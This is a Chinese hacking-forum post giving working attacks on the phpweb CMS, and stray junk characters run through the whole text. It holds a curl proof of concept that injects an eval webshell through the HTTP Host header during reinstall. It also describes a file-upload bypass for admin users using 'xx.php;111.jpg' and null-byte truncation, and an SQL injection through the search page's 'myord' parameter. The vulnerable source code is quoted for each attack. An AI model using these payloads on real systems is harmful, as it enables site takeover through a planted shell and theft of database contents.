找回密码
 立即注册
查看: 3273|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:, H9 D0 Z1 t2 r1 B
4 d7 h( x; y1 |: @
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码+ f8 |* s4 J  I1 |3 v) q2 Q

4 E' h) s- S+ {$ G3 w$ }" u8 m鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
5 B4 z" R# L% z; s% f: G: m. q7 I鸡肋2: 有一定安全常识的站长都会删掉 install 目录
. `, C9 |0 D: U$ G; L! B, v4 y
' [+ o. D3 T3 \) ]虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响# N. n5 G; Q6 a$ G1 }3 n0 t9 |4 l" ^

9 s2 a( k- x7 v8 k3 F" @分析:
# K2 {- Y7 u+ w6 P# W9 f
# M+ S$ r  `% J8 R5 f1 n% D 1 P6 d; z) S/ \( e
$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤
* ]0 B- O4 _  I- A: `
6 i3 O( b; A/ C7 I                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);
: E7 o; s  y/ W) l' j' r$ d; E                                            $filestr=str_replace(" ","",$filestr);( I3 \  K( }3 K/ ?0 ]  i
                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);5 @6 Q: J7 b5 @, C( ]  O  W
                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);; X5 o: M3 [6 J/ H5 A
                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);9 y4 j* W" P/ F$ S" Y
                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);: Y2 ^( _3 H' T; R% m! F
                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
) v8 s4 j4 [1 `- Q' M8 Q                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);3 s9 z% S, t$ ~6 q
                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);& U  a# v! N2 a( {% S) s+ \* t

, s! f. ~6 x+ \                                            fwrite(fopen($ConFile,"w"),$filestr,30000);0 F+ ]! Y$ [4 d1 n( U4 a
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
' p- |1 m/ @" u& S; r- W1 L : j& z8 D+ [4 R7 V- M! x9 K& R' B
poc:
& G: O4 P+ n, H6 w 8 |* a( Y. K; a  @; M9 a0 r
?$ D% t1 w9 p( [6 \( Z# B0 ~" E4 @
1
+ j  D/ u/ A4 q+ o% I% ~curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"6 s: j+ n3 h# N9 q
shell地址: /config.inc.php
5 W/ t! j8 |& ?$ r2 X0 Q跟之前的 phpcms一样 需要远程数据库
7 p% C4 b( y' R $ K* i- q0 Y& U' w( g
——————————————————–
2 N4 t% E7 z* E& n( B1 D- e4 w上传漏洞(需要进后台):+ R. k; s$ h, S  X+ W
漏洞文件: /kedit/upload_cgi/upload.php: p, j" U9 U: V7 Z
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用9 J% H9 ?9 [7 ]
5 _; H% N9 O3 C, n9 ~

& _% }8 r% N7 ~+ P; m/ }5 j<?php4 L5 n  A1 A9 B$ g4 G$ J" [. |
    define("ROOTPATH", "../../");% S3 C6 @0 U% d, y/ n0 N1 E
    include(ROOTPATH."includes/admin.inc.php");
9 A5 |+ V* Q1 m5 o$ f# D6 H5 k    NeedAuth(0);
; V7 k2 a- y+ t$ B8 i: Y( l
7 `3 E+ q, ^) X; E    $dt=date("Ymd",time());
) W, P+ [' z% w& s- o    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
& X% w' ~/ F1 w4 }, E            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);! ?+ R7 [/ Q$ A
    }
3 C0 P* E8 P6 ~% \9 ~
$ Q) O. }* D5 q    //文件保存目录路径& N1 h) j1 e* E( M' B$ ~
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';6 t! k( {4 m; g& q
    echo $save_path;
. T4 X( j; A  M7 R& i    //文件保存目录URL
' Y  a9 w) y9 F- U, ]    $save_url = '../../'.$_POST['attachPath'].$dt.'/';5 F5 K0 v( ~) x3 w0 I* g0 o9 |
- }2 V7 O& h, g" R! q
    //定义允许上传的文件扩展名9 i8 F; U0 T/ a+ d& X. O4 C
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
7 o; ]# y9 o: Q. |7 F* r2 B( f - o4 F5 Z# l6 I- I. H
    //最大文件大小
$ y" b2 c& d/ S! m$ @4 b$ [    $max_size = 1000000;
8 l' x2 U5 D( c
! R0 u. Q$ a4 j5 j1 l& z2 o5 {9 _    //更改目录权限
: F* @0 P/ v+ Y0 O9 ?* O    @mkdir($save_path, 0777);7 \/ A, W; C' P

) K1 m3 Z  y' ~; Y. R8 y: T, z+ U    //文件的全部路径! b7 J% X7 w" P
    $file_path = $save_path.$_POST['fileName'];   //保存文件名
  O) F, {7 K0 Z9 C ) _/ u# P$ F8 `) j0 k
    //文件URL! N0 _3 \" @$ d: n9 r0 i0 f
    $file_url = $save_url.$_POST['fileName'];
1 K" P  t3 I8 C7 u- B  {8 ^6 Q//有上传文件时
! P( ^8 K9 |9 ^    if (empty($_FILES) === false) {
- a/ p# C$ v( p0 P # y* P+ p& N5 n$ A
            //原文件名) W5 b' P( l- Z
            $file_name = $_FILES['fileData']['name'];
5 p8 m7 ?6 O+ ?) \2 v1 j            //服务器上临时文件名" \* N7 W0 t0 M* `& V! e
            $tmp_name = $_FILES['fileData']['tmp_name'];" I3 r' v# D+ x1 P. o
            //文件大小
# ?7 V# s8 |- w# L. o  Z3 b            $file_size = $_FILES['fileData']['size'];3 P! D  \/ X" G) r
            //检查目录
* U  I* s  |9 X$ Z6 m; M            if (@is_dir($save_path) === false) {
. f0 X1 s$ Z7 j" f                    alert("上传目录不存在。");) u) X- q) y" J  p
            }* q+ Z# n- S! {/ O
            //检查目录写权限
. p. u- G) r. x: q! {* c: S! B            if (@is_writable($save_path) === false) {3 a. n; U; F3 `* h
                    alert("上传目录没有写权限。");) x* n3 f/ O7 ^& z% \
            }- r5 m$ h- h! M7 J+ r
            //检查是否已上传
$ t) @3 u1 S+ D( [" J            if (@is_uploaded_file($tmp_name) === false) {
! n& {; j% g( `' ^  Q# b5 E                    alert("临时文件可能不是上传文件。");
1 `) h, q: Z: ]  W  ?            }
( B+ \- J( D: i8 p. m( y  D            //检查文件大小
7 C4 U* U7 S) N9 G! t) H            if ($file_size > $max_size) {
6 C2 T( Y( e" p: X$ C# o3 c* y                    alert("上传文件大小超过限制。");
3 p4 |. o# p; w4 g) _            }
6 C3 G& P- z7 u3 Q; ~6 ~            //获得文件扩展名8 J* ^5 \9 G3 t- v; _2 W" I6 p
            $temp_arr = explode(".", $_POST['fileName']);
# l7 _8 A" a- u! U5 V5 A8 |1 L            $file_ext = array_pop($temp_arr);
% _1 n5 O" T; M            $file_ext = trim($file_ext);" g5 n0 p9 M" X7 i, }
            $file_ext = strtolower($file_ext);; H+ E" o" X" m7 S# j

& @! P! E" c( G: [5 g            //检查扩展名   
" D' D# D0 k/ |6 i/ q. G- _            if (in_array($file_ext, $ext_arr) === false) {     3 ?5 H% n8 p, ?' \- W* L5 Q
                    alert("上传文件扩展名是不允许的扩展名。");
& w$ \& y( C' B! T* W! R* E8 s            }
5 E3 U9 E8 i; b6 g
# f- P/ X# f- S* g! V$ q  v            //移动文件   $ U$ Z$ v3 A7 J" n0 n% V4 Q
            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^0 g9 B# {/ y1 N/ x
            if (move_uploaded_file($tmp_name, $file_path) === false) {
$ G+ x5 g( ]5 T/ |                    alert("上传文件失败。");
, i3 V. y- z: N7 C            }
9 g0 g" @: `# k$ Z# r, ]
8 j: a0 A$ s# A* N  W. |# d            @chmod($file_path,0666);& Y+ P$ F# |# ]9 w9 i

/ U+ \$ N+ z( v; [, w    ?>
% J( }: M; N: u3 h1 |7 w抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227+ X5 b1 |# W4 R, p: \
& K9 w2 [$ @! g
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过" D# \/ j: k& `* I/ s

' W4 K8 v9 \1 E# f——————————————————3 B4 K% A1 ~+ D( F
注入漏洞:
: B1 w9 I! ?2 g4 @- ~2 t$ @漏洞文件:search/module/search.php' H1 g$ O+ `5 U
/search/index.php?key=1&myord=1 [sqlinjection]
. E) V, n4 M, m% w1 i & E' b& A9 K# J# p/ J
8 l# Z& \* s' `9 z
<?php$ Y3 k; u5 N& U( _
   //       ... 省略 n 行...
* _5 ]4 C$ n) \7 B7 E/ p   //第18行:" I6 O0 t' f$ N' r2 h5 s: Y7 z) v  [
           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响6 N9 z5 P. T; L: x' N
           $page=htmlspecialchars($_GET["page"]);
- }. I2 d2 n% v# X+ u, G& M3 |           $myord=htmlspecialchars($_GET["myord"]);
; q1 A! _9 H& L7 _1 p/ ~ 3 g& C, c, v! h$ N6 k. F0 {( u
   //       ... 省略 n 行...! R; k( I6 ~2 A. T5 r# b8 y" j% H
   $key,$myord 两个参数带入查询8 g/ y" x; C3 k
   //第47行 $key:
. b! Q3 H3 T5 b/ \- \7 r! P5 N , F4 t/ v! y0 g' p
   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..
0 ?) w5 f0 H4 {( I2 J7 j * {0 \; B! B9 v: T" l  K  Z( j
   //第197行 $myord7 W# i) t. B, c# i2 |- o
   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入
$ Z, ~: u- B# R* I/ S ; m0 ~. e- u5 A  C; O  D) B6 F. E
   ?>
  W( O4 O# p8 A: n
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表